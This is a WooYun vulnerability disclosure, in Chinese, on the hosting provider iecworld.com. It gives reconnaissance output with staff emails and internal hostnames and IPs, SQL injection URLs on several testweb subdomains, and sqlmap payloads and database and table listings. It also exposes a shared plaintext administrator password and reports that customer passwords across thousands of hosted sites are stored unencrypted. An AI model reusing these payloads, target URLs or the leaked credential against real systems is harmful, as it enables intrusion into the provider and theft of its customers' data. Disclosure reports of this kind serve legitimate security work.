WooYun.org

重要信息收集:
[+] Emails found:
------------------
david@iecworld.com
admin@iecworld.com
divid@iecworld.com
[+] Hosts found in search engines:
------------------------------------
122.227.230.250:server.iecworld.com
61.130.97.52:www.iecworld.com
114.80.68.133:testweb5.iecworld.com
61.130.97.53:wiki.make.iecworld.com
114.80.67.29:testweb7.iecworld.com
114.80.68.191:testweb6.iecworld.com
61.130.97.55:shop.testweb.iecworld.com
61.130.97.53:cn.iecworld.com
61.130.97.55:testweb.iecworld.com
60.191.124.236:admin.iecworld.com
61.130.97.54:make1.iecworld.com
61.130.97.53:make.iecworld.com
60.191.124.236:is-service.iecworld.com
61.130.97.53:service.iecworld.com
60.191.124.236:is-testweb7.iecworld.com
61.130.97.52:file.iecworld.com
60.191.124.236:hk.iecworld.com
60.191.124.236:253Dcn.iecworld.com
提取有用信息:
testwebN.iecworld.com
1.上面这种域名是用来测试访问网站的(比如客户住域没有备案或者还没购买,先通过这个域名的二级目录来访问)
2.有N个这类二级域名
3.每个这类二级域名下存在数千客户网站
于是查找注入点
简单的找了下每个二级域下的SQL注入点:
testweb 61.130.97.55
http://testweb.iecworld.com/yining/admin/login.php
testweb2 61.130.97.52 主站
http://testweb2.iecworld.com/suotie/admin/login.php
testweb3 114.80.68.131
http://testweb3.iecworld.com/wangxiang/cn/products.php?tid=18&id=1
testweb4
testweb4.iecworld.com/lnr/cn/faqed.php?id=11&gid=1
testweb5
testweb6
testweb7
http://testweb7.iecworld.com/dongfang/cn/products.php?act=list&id=7
通过注入点拿到数据库权限:
---
Place: GET
Parameter: TypeLevel
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=19&TypeLevel=1 AND 8971=8971&pid=19
Type: UNION query
Title: MySQL UNION query (NULL) - 11 columns
Payload: id=19&TypeLevel=1 UNION ALL SELECT NULL,CONCAT(0x7170746271,0x4d597259547178556155,0x7171707a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&pid=19
---
testweb的数据库
web application technology: PHP 5.2.13, Apache 2.2.15
back-end DBMS: MySQL >= 5.0.0
[*] 'yining'@'localhost'
available databases [4]:
[*] information_schema
[*] maindb
[*] test
[*] yining
Database: maindb
[10 tables]
+---------------------------------------+
| t_admin |
| t_bak |
| t_dict |
| t_feedback |
| t_language |
| t_log |
| t_model |
| t_plugin |
| t_progress |
| t_timeline |
+———————————————————+
testweb2的maindb库
Database: maindb
[12 tables]
+------------+
| books |
| company |
| t_admin |
| t_bak |
| t_dict |
| t_feedback |
| t_language |
| t_log |
| t_model |
| t_plugin |
| t_progress |
| t_timeline |
+——————+
testweb3的maindb库
Database: maindb
[6 tables]
+------------+
| books |
| company |
| t_admin |
| t_bak |
| t_dict |
| t_feedback |
+------------+

通过分析得出以下结论:
1.每个客户网站只有自己数据库权限和一个名为mainbd库的权限
2.通过分析maindb表结构发现里面竟然存了该二级域名下的所有网站相关信息(管理员帐号密码/反馈/备份/日志/插件等)
3.每个二级域的maindb库里面的的客户信息表都是t_admin,并且密码没有加密
4.每个二级域的maindb库管理员表里面都有一个admin ps99379937的管理员帐户,按理说如果是存放客户的密码,为什么会都有这个帐号呢,于是继续深入下去发现了每个二级域都有一个总的管理后台(e.g testweb2.iecworld.com/admin)